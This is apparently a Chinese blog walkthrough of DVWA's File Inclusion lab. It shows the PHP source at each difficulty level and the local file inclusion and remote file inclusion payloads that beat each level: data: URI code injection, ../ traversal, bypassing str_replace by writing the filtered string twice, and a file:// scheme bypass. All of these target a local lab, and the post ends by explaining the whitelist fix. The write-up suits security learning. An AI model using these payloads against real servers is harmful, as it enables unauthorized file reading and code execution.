文件包含,未经过严格过滤,将一些恶意构造带入了包含函数,可以使用一些包含函数来包含一些其他乱七八糟的东西,要么导致任意文件读取,要么命令执行

文件包含包括远程文件包含(RFI)和本地文件包含(LFI)两种

RFI利用基本条件:allow_url_fopen = On(默认开)、allow_url_include = On(默认关,也没人闲的没事去开他)

LFI可包含共享文件,敏感目录文件,session

可包含Data:URI schema  比如?file=data:text/plain,<?php phpinfo();?>  再比如file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

如果有后缀限制,截断大法好,伪协议大法好(phar绕过上传限制、zip绕过上传限制等一堆),不过需要视具体情况判断使用条件限制

Low:

看一眼源代码

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

?>

没啥过滤筛查

三个文件,点一下包含,把文件包含进去了,返回结果告诉你一声

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=lcx.php

把include.php改成lcx.php,报错出路径(本地靶场)

根目录D:\phpstudy\phpstudy_pro\WWW\dvwa

读个phpinfo不过分吧

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\phpstudy_pro\WWW\dvwa\phpinfo.php

如果不报错,可以

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../phpinfo.php

去猜测

这是LFI

当然符合RFI的条件时,可以去访问外网网址、文件、下载链接什么的来造成代码执行

?page=url

Medium:

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Input validation

$file = str_replace( array( "http://", "https://" ), "", $file );

$file = str_replace( array( "../", "..\"" ), "", $file );

?>

”http:// ”、”https://”、 ” ../”、”..\”被过滤了

关键是用str_replace,能用双写绕过,而且防不住知道绝对路径的,无论是LFI还是RFI

High:

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Input validation

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {

// This isn't the page we want!

echo "ERROR: File not found!";

exit;

}

?>

要求page参数的开头必须是file

那就file协议走起

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy/phpstudy_pro/WWW/dvwa/phpinfo.php 

Impossible:

<?php

// The page we wish to display

$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {

// This isn't the page we want!

echo "ERROR: File not found!";

exit;

}

?>

白名单防护,只能从include.php”、“file1.php”、“file2.php”、“file3.php”之中选一个,不存在任意文件包含了

DVWA靶场之File Inclusion(文件包含)通关的更多相关文章

  1. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  2. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  3. DVWA靶场之File Upload(文件上传)通关

    Low: <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_pa ...

  4. DVWA靶场之XSS(Stored)通关

    Low: <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage ...

  5. DVWA靶场之XSS(Reflected)通关

    反射型xss Low: <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_ ...

  6. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  7. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  8. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  9. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

随机推荐

  1. Source not found for GeneratedMethodAccessor127.invoke(Object, Object[]) line: not available

    报错:Source not found for GeneratedMethodAccessor127.invoke(Object, Object[]) line: not available 我在使用 ...

  2. mac 下彻底卸载node和npm

    以下链接可供参考: https://segmentfault.com/a/1190000007445643 https://www.cnblogs.com/ChenGuangW/p/11398367. ...

  3. Python之面向对象编程【小明跑步】、【置办家具】

    #!usr/bin/python 2 #encoding=utf-8 3 #-----------------小明跑步------------- 4 #1.小明体重75.0公斤 5 #2.小明每次跑步 ...

  4. NAT444技术简介

    嘛,最近老师布置了一道题目与NAT444技术相关,遂收集一波相关资料. 首先来一波名词解释: ICP:网络内容服务商(Internet Content Provider) BRAS:宽带远程接入服务( ...

  5. WPF教程十四:了解元素的渲染OnRender()如何使用

    上一篇分析了WPF元素中布局系统的MeasureOverride()和ArrangeOverride()方法.本节将进一步深入分析和研究元素如何渲染它们自身. 大多数WPF元素通过组合方式创建可视化外 ...

  6. 高校表白App-团队冲刺第六天

    今天要做什么 在引导页的基础上添加小红点,并且在滑动时进行增强用户体验的修饰 做了什么 在布局中成功添加小红点,并在activity中得到实现;滑动在3/4时发生渐变,增强用户体验;滑动可回退;在最后 ...

  7. [刘阳Java]_CSS普通菜单制作

    简单给大家介绍一下CSS普通菜单制作,先看图 功能很简单 UL制作菜单 鼠标进入LI的CSS伪类,实现菜单弹出效果 源码如下 <!DOCTYPE html> <html> &l ...

  8. 单细胞分析实录(17): 非负矩阵分解(NMF)代码演示

    本次演示使用的数据来自2017年发表于Cell的头颈鳞癌单细胞文章:Single-Cell Transcriptomic Analysis of Primary and Metastatic Tumo ...

  9. ssh保持长连接的方式

    方法有以下三种:1.修改server端的etc/ssh/sshd_configClientAliveInterval 60 #server每隔60秒发送一次请求给client,然后client响应,从 ...

  10. python+API接口测试框架设计(unittest)

    1.测试框架简介 整个接口测试框架的设计图如下: basepage:存放的是公共的方法 common:存放的是自定义工具 data:存放的是公共动态数据,如BB.xls/ Id.md log:存放的是 ...